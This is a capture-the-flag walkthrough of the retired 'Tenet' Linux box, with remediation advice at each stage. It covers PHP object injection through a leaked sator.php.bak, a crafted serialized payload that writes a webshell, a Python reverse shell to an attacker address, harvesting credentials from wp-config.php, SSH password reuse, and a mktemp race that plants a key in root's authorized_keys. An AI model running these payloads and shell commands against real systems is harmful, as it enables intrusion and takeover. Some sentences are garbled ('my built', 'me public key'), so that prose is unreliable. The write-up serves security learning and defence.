← all walkthroughs

Tenet

Linux· Medium· Web
owned
2026-07-11
time to own
9m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned $TARGET and found Apache 2.4.29 on port 80 and SSH on port 22. Directory brute-forcing uncovered a WordPress installation at /wordpress, and a blog comment pointed to a file named sator.php. A .bak backup copy of that file was left accessible on the bare IP and disclosed the complete PHP source of a class whose destructor wrote my own content to my own filename whenever PHP deserialized an untrusted GET parameter.

I crafted a malicious serialized object to write a PHP webshell onto the server, gaining remote code execution as the Apache web user (www-data). Reading the WordPress configuration file through that webshell yielded plaintext database credentials (neil / [REDACTED: recovered credential]) that were reused verbatim as the SSH password for the local Linux account neil, providing an interactive shell and the user flag. A sudo rule let neil run a shell script as root without a password; that script called mktemp -u to generate a temporary filename without atomically creating the file, leaving a predictable, world-writable /tmp/ssh-* path open for a race window before the authorized key was written.

By racing a loop that repeatedly overwrote any /tmp/ssh-* file with my own SSH public key against repeated invocations of the sudo script, I substituted their key into root's authorized_keys, granting passwordless root SSH and full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissancePort scanning and directory enumeration (T1046, T1083)
Identified exposed services and discovered a WordPress installation under the bare IP
An nmap scan confirmed SSH on port 22 (OpenSSH 7.6p1) and Apache 2.4.29 on port 80. The bare IP returned the default Ubuntu Apache landing page rather than a live application. Directory brute-forcing against the bare IP uncovered /wordpress, and browsing broken links within WordPress blog posts revealed the virtual hostname tenet.htb. A blog comment specifically named sator.php, providing the next target without further guessing.
HTTP/1.1 200 OK ... Server: Apache/2.4.29 (Ubuntu) ... Content-Length: 10918
Exact commands 3
Enumerate service versions on the two open ports.
nmap -Pn -sV -p22,80 $TARGET
Register the virtual host referenced in WordPress blog links.
echo "$TARGET tenet.htb" | sudo tee -a /etc/hosts
Brute-force the bare IP for directories and backup file extensions.
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt -x php,bak,txt
2Source DisclosureBackup file source disclosure / information exposure (CWE-530)
Retrieved a .bak backup file that exposed the full PHP source of the vulnerable application
Appending .bak to the sator.php URL on the bare IP (not the tenet.htb vhost) returned the complete, unexecuted PHP source of the page. The source defined a DatabaseExport class with two public properties: $user_file (default 'users.txt') and $data. Its __destruct() method called file_put_contents(__DIR__ . '/' . $this->user_file, $this->data), writing $data to the path in $user_file with no path or extension validation. The script also called unserialize($_GET['arepo']) with no input validation, assigning the result to a local variable. Anyone who knows the class structure can supply a crafted serialized string to set both properties to arbitrary values before the destructor fires.
Class DatabaseExport { public $user_file='users.txt'; ... $databaseupdate = unserialize($input); ... __destruct(){ file_put_contents(
Exact commands 1
Retrieve the backup source -- accessible only on the bare IP, not via the tenet.htb vhost.
curl -sS http://$TARGET/sator.php.bak
FixRemove backup and source-disclosure files from the web rootHigh
WeaknessA .bak copy of sator.php was left in the publicly served directory and was retrievable from the bare IP, disclosing the complete PHP source of the application including the vulnerable class definition, property names, and the unserialize() call. Without this disclosure an unauthorised user would not know which class to serialize or how to shape a payload.
FixAudit all web-served directories for backup and editor-temporary files (*.bak, *.orig, *.old, *~, *.swp) and delete them. Configure Apache to deny access to these extensions server-wide by adding a FilesMatch block with 'Require all denied' in the VirtualHost or server config covering extensions .bak, .orig, .old, .swp. Integrate a pre-deployment check in CI that fails the pipeline if such files are present under the document root.
3ExploitationPHP Object Injection via unserialize() (CWE-502) -- arbitrary file write via __destruct()
Injected a serialized PHP object to write a PHP webshell to the web root
Using the class definition from the backup, my built a PHP serialized string representing a DatabaseExport object whose $user_file was set to attack.php and $data contained a one-line PHP system() webshell. Passing this string as the arepo GET parameter caused PHP to call unserialize(), instantiate the object, and -- when the request ended and the object was garbage-collected -- fire __destruct(), writing attack.php into the web root. The response contained 'Database updated' twice (once from the script's normal flow and once from the injected object's destructor), confirming the write succeeded. A follow-up request to attack.php with cmd=id returned uid=33(www-data).
[] Database updated <br> ---RCE--- uid=33(www-data) gid=33(www-data) groups=33(www-data)
Exact commands 2
Craft the serialized object and deliver it; two 'Database updated' lines in the response confirm attack.php was written.
payload='O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"attack.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}' && curl -sS --get --data-urlencode "arepo=$payload" http://$TARGET/sator.php
Confirm remote code execution as www-data via the newly written webshell.
curl -sS --get --data-urlencode 'cmd=id' http://$TARGET/attack.php
FixNever pass untrusted input to PHP's unserialize()Critical
Weaknesssator.php called unserialize() directly on a raw, unsanitized GET parameter with no allowlist, signature check, or type restriction. PHP's object-lifecycle callbacks including __destruct() executed automatically on instantiation and garbage collection, turning the class's file_put_contents() call into an unauthenticated arbitrary file-write primitive accessible to any HTTP client.
FixReplace unserialize() with a safe alternative: use json_decode() for structured data, or a signed token (HMAC-SHA256 over a serialized payload) for data that must survive round-trips. If PHP serialization cannot be avoided, supply the allowed_classes option as false or an explicit whitelist: unserialize($data, ['allowed_classes' => false]). Remove or disable any script that deserializes untrusted input with an open class allowlist. Treat deserialization of user-controlled data as equivalent to eval().
4FootholdWebshell command execution / reverse shell (T1059.004)
Upgraded the webshell to an interactive reverse shell as www-data
With arbitrary command execution confirmed via the webshell, I used it to invoke a Python3 reverse-shell one-liner that connected back to a netcat listener on the attack machine. This provided a fully interactive shell as www-data suitable for filesystem browsing and credential harvesting in the next phase.
Exact commands 2
Open the listener on the attack machine before triggering the callback.
nc -lvnp 4444
Replace $ATTACKER_IP with your tun0 / VPN address.
curl -sS --get --data-urlencode 'cmd=python3 -c "import socket,os,pty;s=socket.socket();s.connect((\"$ATTACKER_IP\",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")"' http://$TARGET/attack.php
5Credential HarvestingCredentials in files (T1552.001)
Read plaintext database credentials from the WordPress configuration file
From the www-data shell my read /var/www/html/wordpress/wp-config.php, which stored the MySQL credentials as plaintext PHP constants: DB_USER set to neil and DB_PASSWORD set to [REDACTED: recovered credential] Configuration files storing credentials in cleartext are a persistent risk -- here the web process could read the file and the resulting credentials doubled as a local OS account password.
Exact commands 1
Read wp-config.php via the webshell; look for DB_USER and DB_PASSWORD constants.
curl -sS --get --data-urlencode 'cmd=cat /var/www/html/wordpress/wp-config.php' http://$TARGET/attack.php
FixUse unique, non-reused passwords for database accounts and OS user accountsHigh
WeaknessThe WordPress database password stored in plaintext in wp-config.php was identical to the SSH login password for the local Linux account neil. Reading the configuration file through the webshell was sufficient to gain interactive OS-level shell access -- no brute force or separate credential attack was required.
FixAssign a randomly generated, unique password (minimum 20 characters) to the MySQL/WordPress database user that is entirely separate from any OS account credential. Restrict wp-config.php permissions to 640 (owner root, group www-data) so the web process can read it but it is not trivially exfiltrated through a webshell, and consider placing it one directory above the document root. Store all credentials in a secrets manager or password vault and enforce a policy against reusing database credentials as OS login passwords.
6Lateral MovementCredential reuse across services (T1078)
Reused the database password over SSH to log in as neil and capture the user flag
The password [REDACTED: recovered credential] retrieved from wp-config.php was tested against the SSH service for user neil. It authenticated immediately, providing a full interactive shell as neil. The user flag was read from ~/user.txt, confirming user-level ownership of the machine.
Sshpass -p '[REDACTED: recovered credential]' ssh neil@$TARGET 'id; cat ~/user.txt' -> uid=1001(neil) ... <user.txt>
Exact commands 1
Authenticate as neil with the reused database password and read the user flag.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null neil@$TARGET 'id; cat ~/user.txt'
7Privilege EscalationTOCTOU race condition on mktemp -u in a sudo-privileged script -- SSH key injection (T1548.003)
Exploited a TOCTOU race in a sudo-privileged script to plant an SSH key in root's authorized_keys
Running sudo -l as neil showed that neil could execute /usr/local/bin/enableSSH.sh as root with no password. Inspecting the script revealed that its addKey() function called mktemp -u to generate a random /tmp/ssh-XXXXXX filename but did not atomically create the file -- mktemp -u only prints the name. A permissive umask left the file world-writable for the brief window between name generation and the moment the script wrote the key content, making the path predictable and race-able. My ran two concurrent loops: one repeatedly called sudo /usr/local/bin/enableSSH.sh, the other continuously overwrote every /tmp/ssh-* file with my own SSH public key. Once the race was won, my public key was appended verbatim to /root/.ssh/authorized_keys. A subsequent SSH login with the matching private key produced a root shell and the root flag.
Sudo -l -> (ALL : ALL) NOPASSWD: /usr[REDACTED: sensitive value].sh; mktemp -u used in addKey(); root flag read via ssh -i /tmp/tenet_key root@$TARGET
Exact commands 6
Run as neil -- confirms NOPASSWD sudo right for /usr[REDACTED: sensitive value].sh.
sudo -l
Inspect the script to locate the mktemp -u call and the /tmp/ssh-* naming pattern.
cat /usr/local/bin/enableSSH.sh
Generate my SSH keypair; the public key will be raced into root's authorized_keys.
ssh-keygen -q -t rsa -b 2048 -N '' -f /tmp/tenet_key
Loop A (run in background as neil): continuously overwrite any /tmp/ssh-* file with me public key.
while true; do for f in /tmp/ssh-*; do [ -f "$f" ] && cat /tmp/tenet_key.pub > "$f" 2>/dev/null; done; done &
Loop B (run concurrently in a second neil session): repeatedly trigger the script until the race is won -- typically within 30 seconds.
while true; do sudo /usr/local/bin/enableSSH.sh 2>/dev/null; done
Authenticate as root using the planted private key and read the root flag.
ssh -i /tmp/tenet_key -o StrictHostKeyChecking=no root@$TARGET 'id; cat /root/root.txt'
FixEliminate the TOCTOU race condition in the enableSSH.sh sudo scriptCritical
WeaknessThe enableSSH.sh script used mktemp -u to generate a temporary filename in /tmp without atomically creating the file, and a permissive umask left the eventual file world-writable for a window between name generation and key writing. Any local user could predict the /tmp/ssh-* path and overwrite the file during that window, substituting content that the root-running script then appended verbatim to /root/.ssh/authorized_keys.
FixReplace mktemp -u with mktemp (no -u flag) so the file is created atomically with mode 600 before any content is written. Set umask 177 at the top of the script to ensure no temporary file can be created with world-writable permissions. Better still, eliminate the /tmp staging step entirely: write the authorized key directly using a root-owned, non-world-readable pipeline, or manage authorized_keys through a configuration management tool (Ansible, Salt) with proper access controls. Remove the NOPASSWD sudo rule if dynamic SSH key injection is not a documented operational requirement; if it is required, restrict the rule with a command hash check and validate the key material format before appending.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
80/tcp